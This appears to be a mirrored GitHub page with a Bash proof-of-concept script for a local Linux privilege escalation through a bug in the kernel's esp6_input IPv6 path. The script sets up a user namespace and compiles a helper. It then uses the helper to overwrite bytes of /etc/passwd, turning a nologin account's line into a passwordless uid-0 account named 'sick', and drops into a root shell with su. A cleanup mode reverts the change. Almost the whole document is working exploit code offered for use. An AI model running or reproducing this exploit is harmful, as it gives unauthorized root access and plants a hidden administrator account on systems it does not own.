mirror of
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
synced 2026-05-16 10:50:09 +00:00
Same bug in esp6_input not covered by f4c50a4034. PoC in ipv6/. ESP packet padded to >= 40 bytes for the v6-only size gate.
152 lines
4.5 KiB
Bash
Executable file
152 lines
4.5 KiB
Bash
Executable file
#!/bin/bash
|
|
# IPv6 dual of run.sh. Same flow, esp6 over ::1.
|
|
#
|
|
# Usage:
|
|
# ./run.sh install + drop into root shell
|
|
# ./run.sh --clean undo the install
|
|
|
|
set -u
|
|
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
|
|
ROOT=$(cd "$HERE/.." && pwd)
|
|
STATE=/var/tmp/.cf2v6.state
|
|
NEW_USER=sick
|
|
PREFIX="${NEW_USER}::0:0:"
|
|
SUFFIX=":/:/bin/bash"
|
|
|
|
red() { printf '\033[31m%s\033[0m\n' "$*" >&2; }
|
|
green() { printf '\033[32m%s\033[0m\n' "$*"; }
|
|
blue() { printf '\033[34m=== %s\033[0m\n' "$*"; }
|
|
|
|
setup_usns() {
|
|
if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then
|
|
USNS=(unshare -U -r -n --)
|
|
return
|
|
fi
|
|
if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then
|
|
USNS=("$AAR" -n --); return
|
|
fi
|
|
if command -v aa-rootns >/dev/null 2>&1; then
|
|
USNS=("$(command -v aa-rootns)" -n --); return
|
|
fi
|
|
if [ ! -x "$ROOT/aa-rootns" ] && [ -f "$ROOT/aa-rootns.c" ]; then
|
|
gcc -O2 -Wall "$ROOT/aa-rootns.c" -o "$ROOT/aa-rootns" \
|
|
|| { red "build aa-rootns failed"; exit 1; }
|
|
fi
|
|
if [ -x "$ROOT/aa-rootns" ]; then
|
|
USNS=("$ROOT/aa-rootns" -n --); return
|
|
fi
|
|
red "no usable userns harness"
|
|
exit 1
|
|
}
|
|
|
|
build_helper() {
|
|
[ -x "$HERE/copyfail2v6" ] || gcc -O2 -Wall "$HERE/copyfail2v6.c" -o "$HERE/copyfail2v6" -lcrypto \
|
|
|| { red "build copyfail2v6 failed (need libssl-dev)"; exit 1; }
|
|
}
|
|
|
|
flip_range() {
|
|
local line_off=$1 src=$2 dst=$3 len=${#2}
|
|
local i o t off
|
|
declare -ag FLIPS=()
|
|
for ((i=0; i<len; i++)); do
|
|
o="${src:$i:1}"
|
|
t="${dst:$i:1}"
|
|
if [ "$o" != "$t" ]; then
|
|
FLIPS+=("$((line_off + i)):$(printf '0x%02x' "'$t")")
|
|
fi
|
|
done
|
|
for f in "${FLIPS[@]}"; do
|
|
off=${f%:*} ; t=${f#*:}
|
|
"${USNS[@]}" "$HERE/copyfail2v6" /etc/passwd "$off" "$t" >/dev/null
|
|
done
|
|
}
|
|
|
|
if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then
|
|
[ -r "$STATE" ] || { red "no state file at $STATE"; exit 1; }
|
|
# shellcheck disable=SC1090
|
|
. "$STATE"
|
|
: "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}"
|
|
VICTIM_LEN=${#VICTIM_LINE}
|
|
|
|
setup_usns
|
|
build_helper
|
|
|
|
CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
|
|
if [ "$CURRENT" = "$VICTIM_LINE" ]; then
|
|
green "[+] /etc/passwd already matches original"
|
|
rm -f "$STATE"
|
|
exit 0
|
|
fi
|
|
|
|
declare -a CFLIPS=()
|
|
for ((i=0; i<VICTIM_LEN; i++)); do
|
|
o="${CURRENT:$i:1}"
|
|
t="${VICTIM_LINE:$i:1}"
|
|
[ "$o" != "$t" ] && CFLIPS+=("$((LINE_OFF + i)):$(printf '0x%02x' "'$t")")
|
|
done
|
|
|
|
blue "Cleanup: revert ${#CFLIPS[@]} bytes at offset $LINE_OFF"
|
|
for f in "${CFLIPS[@]}"; do
|
|
off=${f%:*} ; t=${f#*:}
|
|
"${USNS[@]}" "$HERE/copyfail2v6" /etc/passwd "$off" "$t" >/dev/null
|
|
done
|
|
|
|
if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then
|
|
red "sick line still present"
|
|
exit 1
|
|
fi
|
|
rm -f "$STATE"
|
|
green "[+] cleaned"
|
|
exit 0
|
|
fi
|
|
|
|
if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then
|
|
sed -n '2,7p' "$0"
|
|
exit 0
|
|
fi
|
|
|
|
if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then
|
|
green "[+] '$NEW_USER' already in /etc/passwd"
|
|
exec su - "$NEW_USER"
|
|
fi
|
|
|
|
setup_usns
|
|
build_helper
|
|
|
|
getent passwd "$NEW_USER" >/dev/null \
|
|
&& { red "'$NEW_USER' already exists with non-uid-0 entry"; exit 1; }
|
|
|
|
VICTIM_LINE=$(awk -F: '
|
|
$NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" ||
|
|
$NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" {
|
|
if (length($0) > maxlen) { maxlen = length($0); maxline = $0 }
|
|
}
|
|
END { print maxline }
|
|
' /etc/passwd)
|
|
[ -n "$VICTIM_LINE" ] || { red "no victim line found"; exit 1; }
|
|
VICTIM_NAME=${VICTIM_LINE%%:*}
|
|
VICTIM_LEN=${#VICTIM_LINE}
|
|
|
|
PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX}))
|
|
[ "$PAD_LEN" -ge 0 ] \
|
|
|| { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; }
|
|
PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X')
|
|
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"
|
|
|
|
LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2)
|
|
|
|
umask 077
|
|
{
|
|
echo "LINE_OFF=$LINE_OFF"
|
|
printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE"
|
|
} > "$STATE"
|
|
|
|
blue "Stage 1: overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes)"
|
|
flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE"
|
|
|
|
blue "Stage 2: verify"
|
|
grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; }
|
|
|
|
blue "Stage 3: su - $NEW_USER"
|
|
green "[i] state at $STATE; ./run.sh --clean to revert"
|
|
exec su - "$NEW_USER"
|